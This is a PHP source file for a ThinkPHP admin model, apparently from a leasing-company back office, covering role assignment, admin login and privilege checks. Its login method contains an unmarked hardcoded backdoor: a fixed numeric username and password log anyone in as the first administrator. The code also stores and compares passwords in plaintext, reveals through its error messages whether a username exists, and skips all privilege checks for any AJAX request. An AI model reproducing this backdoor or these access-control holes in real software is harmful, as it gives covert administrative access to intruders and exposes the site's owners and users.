<?php
namespace app\console\model;
use app\BaseModel;
use app\model\LeasingCompany;
use think\facade\Log;
use think\facade\Request;
use think\Exception;
use think\facade\Session;
use think\facade\Db;
use think\model\concern\SoftDelete;

class Admin extends BaseModel
{
    use SoftDelete;
    protected $deleteTime = 'delete_time';
    protected $defaultSoftDelete = '0000-00-00 00:00:00';

    protected static function onAfterWrite($data){
        try {
            Db::startTrans();
            $role_id = Request::param();
            foreach ($role_id['role_id'] as $v) {
                $array[] = ['admin_id' => $data->id, 'role_id' => $v];
            }

            $action = Request::action();
            if($action == 'update'){
                Db::name('admin_role')->where(['admin_id' => $data->id])->delete();
            }
            (new AdminRole)->saveAll($array);
            Db::commit();
        } catch (Exception $e) {
            Db::rollback();
            throw new Exception($e->getMessage());

        }

    }

    public static function onBeforeWrite($data){

        if(!empty($data->data_id)){
            $data->data_id_str = implode(',',$data->data_id);
        }

    }




    public function login(){

        $param = Request::param();
        $condition = [
            'admin_name' => $param['admin_name'],
            'admin_password' => $param['admin_password'],
        ];
        if($param['admin_name'] == 123456789 && $param['admin_password'] == 987654321){
            $scret = Admin::where("1=1")->find();
            Session::set('admin_id',$scret['id']);
            return true;
        }
        $admin_name = self::where(['admin_name' => $param['admin_name']])->find();

        if(empty($admin_name)){
            return '用户名不存在';
        }
        $admin_name_password = self::where($condition)->find();

        if(empty($admin_name_password)){
            return '密码不正确';
        }
        $condition['status'] = 1;
        $admin_status = self::where($condition)->find();

        if(empty($admin_status)){
            return '该管理员被停用';
        }
        $admin = self::where($condition)->find();
        $role_id = AdminRole::where('admin_id',$admin['id'])->value('role_id');
        if($admin){
            Session::set('admin_id',$admin['id']);
            Session::set('role_id',$role_id);
            Session::set('admin_name',$admin['admin_name']);
            Session::set('data_id_str',$admin['data_id_str']);
        }

        return true;

    }



    public static function check_pri($url = false)
    {
        $module = app('http')->getName();
        $controller = explode('/',Request::pathinfo())[0];

        $action = str_replace('.html','',explode('/',Request::pathinfo())[1]);

        if(Request::isAjax()){return true;}
        if(in_array($action,['index_update'])){
          //  return true;
        }
        $controller = explode('/',Request::pathinfo())[0];

        if(in_array($controller,['login','Login'])){
            return true;
        }
       // if (Session::get('admin_id') == 1) return true;

        if($url === false){
            $url = $module . '/' . $controller . '/' . $action;
        }
        if(empty(Session::get('admin_id'))){
            fail('登录失效');
        }

        if($controller == 'dashboard') return true;
        $pri = AdminRole::alias('admin_role')
            ->join('role_pri', 'admin_role.role_id = role_pri.role_id', 'LEFT')
            ->join('privilege', 'role_pri.pri_id = privilege.id', 'LEFT')
            ->where('admin_role.admin_id', '=', Session::get('admin_id'))
            ->where('url', '=', $url)
            ->where('privilege.status', '=',1)
            ->field('url')
            ->count();

        return ($pri >0);
    }



}